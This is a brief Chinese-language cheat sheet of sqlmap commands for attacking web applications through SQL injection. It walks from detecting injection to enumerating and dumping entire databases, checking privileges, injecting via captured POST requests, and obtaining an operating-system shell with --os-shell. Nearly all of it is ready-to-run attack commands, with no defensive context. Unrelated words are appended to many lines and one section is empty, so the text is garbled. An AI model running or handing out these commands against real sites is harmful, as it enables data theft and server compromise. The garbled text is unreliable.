一、基本注入(这个工具kali或者bt下面有集成的,这里附加一个window免py版,提取码:3ldv)php
sqlmap -u http://url/xx.php?id=1 判断注入sql
sqlmap -u http://url/xx.php?id=1 --dba 查找数据库shell
sqlmap -u http://url/xx.php?id=1 --tables -D 'db_name' 查找表数据库
sqlmap -u http://url/xx.php?id=1 --columns -T 'table_name' 查找列cookie
sqlmap -u http://url/xx.php?id=1 --dump -C 'column_name' 爆数据工具
sqlmap -u http://url/xx.php?id=1 --dump-all 脱裤(成功之后默认在bin/output目录下)post
二、进阶网站
sqlmap -u http://url/xx.php?id=1 --is-dba 判断是不是dba权限url
sqlmap -u http://url/xx.php?id=1 --users 查看用户blog
sqlmap -u http://url/xx.php?id=1 --privilege 判断权限
三、cookie注入
四、post注入
咱们须要先将post数据包抓取下来;保存到D:/post.txt
sqlmap -u http://url/xx.php -r D:/post.txt 进行注入
注:这个网址是验证输入的网址
五、shell(这个须要知道网站目录,而且magic_quotes_off必需为off状态)
sqlmap -u http://url/xx.php?id=1 --os-cmd=command
sqlmap -u http://url/xx.php?id=1 --sql-shell
而后能够执行sql语句
sqlmap -u http://url/xx.php?id=1 --os-shell 直接得到系统的shell